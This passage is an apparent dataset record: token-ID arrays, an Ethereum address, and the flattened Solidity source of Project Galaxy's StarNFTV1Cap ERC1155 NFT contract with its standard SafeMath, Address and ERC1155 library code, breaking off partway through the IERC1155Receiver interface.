[ 101, 1014, 2595, 2683, 2575, 19629, 23777, 2581, 14697, 2278, 2546, 2094, 2581, 27421, 2692, 18827, 19317, 27009, 2278, 2683, 2546, 2620, 2581, 2546, 15136, 2683, 28756, 2581, 2549, 27717, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 7905, 27405, 5051, 1058, 2692, 1012, 1016, 1012, 1014, 1013, 1013, 1013, 1013, 1040, 2620, 2620, 2620, 2620, 6070, 2620, 6070, 2620, 1013, 1013, 1040, 2620, 2620, 2620, 2620, 2620, 6070, 2620, 6070, 2620, 1013, 1013, 1040, 2620, 2620, 2361, 2620, 2620, 2620, 6070, 2620, 6070, 2620, 1013, 1013, 1040, 2620, 2620, 2361, 6070, 2620, 6070, 2620, 2094, 2620, 2620, 2620, 1012, 1040, 2620, 2620, 2620, 2620, 2497, 6070, 2620, 2620, 2620, 2497, 1012, 1012, 1040, 2620, 2620, 2497, 1012, 6070, 2620, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,376
0x96AD11D860772A3ffd4fA2a9F9A112A899B4c2Dd
/* Copyright 2021 Project Galaxy. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.7.6; //import "SafeMath.sol"; //import "Address.sol"; import "ERC1155.sol"; import "Ownable.sol"; import "IStarNFT.sol"; /** * based on https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC1155/ERC1155.sol */ contract StarNFTV1Cap is ERC1155, IStarNFT, Ownable { using SafeMath for uint256; // using Address for address; // using ERC165Checker for address; /* ============ Events ============ */ event EventMinterAdded(address indexed newMinter); event EventMinterRemoved(address indexed oldMinter); /* ============ Modifiers ============ */ /** * Only minter. */ modifier onlyMinter() { require(minters[msg.sender], "must be minter"); _; } /* ============ Enums ================ */ /* ============ Structs ============ */ /* ============ State Variables ============ */ // Used as the URI for all token types by ID substitution, e.g. https://galaxy.eco/{address}/{id}.json string public baseURI; // Mint and burn star. mapping(address => bool) public minters; // Total star count, including burnt nft. uint256 public starCount; // Total supply. uint256 public totalSupply; /* ============ Constructor ============ */ constructor (uint256 totalSupply_) ERC1155("") { totalSupply = totalSupply_; } /* ============ External Functions ============ */ function mint(address account, uint256 powah) external onlyMinter override returns (uint256) { require(totalSupply.sub(starCount) > 0, "Exceeded total supply"); starCount++; uint256 sID = starCount; _mint(account, sID, 1, ""); return sID; } function mintBatch(address account, uint256 amount, uint256[] calldata powahArr) external onlyMinter override returns (uint256[] memory) { require(totalSupply.sub(starCount) >= amount, "Exceeded total supply"); uint256[] memory ids = new uint256[](amount); uint256[] memory amounts = new uint256[](amount); for (uint i = 0; i < ids.length; i++) { starCount++; ids[i] = starCount; amounts[i] = 1; } _mintBatch(account, ids, amounts, ""); return ids; } function burn(address account, uint256 id) external onlyMinter override { require(isApprovedForAll(account, _msgSender()), "ERC1155: caller is not approved"); _burn(account, id, 1); } function burnBatch(address account, uint256[] calldata ids) external onlyMinter override { require(isApprovedForAll(account, _msgSender()), "ERC1155: caller is not approved"); uint256[] memory amounts = new uint256[](ids.length); for (uint i = 0; i < ids.length; i++) { amounts[i] = 1; } _burnBatch(account, ids, amounts); } function increaseSupply(uint256 quantity) external onlyOwner { totalSupply = totalSupply.add(quantity); } function decreaseSupply(uint256 quantity) external onlyOwner { totalSupply = totalSupply.sub(quantity); } /** * PRIVILEGED MODULE FUNCTION. Sets a new baseURI for all token types. */ function setURI(string memory newURI) external onlyOwner { baseURI = newURI; } /** * PRIVILEGED MODULE FUNCTION. Add a new minter. */ function addMinter(address minter) external onlyOwner { require(minter != address(0), "Minter must not be null address"); require(!minters[minter], "Minter already added"); minters[minter] = true; emit EventMinterAdded(minter); } /** * PRIVILEGED MODULE FUNCTION. Remove a old minter. */ function removeMinter(address minter) external onlyOwner { require(minters[minter], "Minter does not exist"); delete minters[minter]; emit EventMinterRemoved(minter); } /* ============ External Getter Functions ============ */ /** * See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256 id) external view override returns (string memory) { require(id <= starCount, "NFT does not exist"); // Even if there is a base URI, it is only appended to non-empty token-specific URIs if (bytes(baseURI).length == 0) { return ""; } else { // bytes memory b = new bytes(32); // assembly { mstore(add(b, 32), id) } // abi.encodePacked is being used to concatenate strings return string(abi.encodePacked(baseURI, uint2str(id), ".json")); } } /** * Is the nft owner. * Requirements: * - `account` must not be zero address. */ function isOwnerOf(address account, uint256 id) public view override returns (bool) { return balanceOf(account, id) == 1; } function getNumMinted() external view override returns (uint256) { return starCount; } /* ============ Internal Functions ============ */ /* ============ Private Functions ============ */ /* ============ Util Functions ============ */ function uint2str(uint _i) internal pure returns (string memory) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bStr = new bytes(len); uint k = len; while (_i != 0) { k = k - 1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bStr[k] = b1; _i /= 10; } return string(bStr); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "IERC1155.sol"; import "IERC1155MetadataURI.sol"; import "IERC1155Receiver.sol"; import "Context.sol"; import "ERC165.sol"; import "SafeMath.sol"; import "Address.sol"; /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using SafeMath for uint256; using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ constructor (string memory uri_) public { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) external view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub( amount, "ERC1155: insufficient balance for transfer" ); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub( amount, "ERC1155: burn amount exceeds balance" ); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "IERC165.sol"; /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function 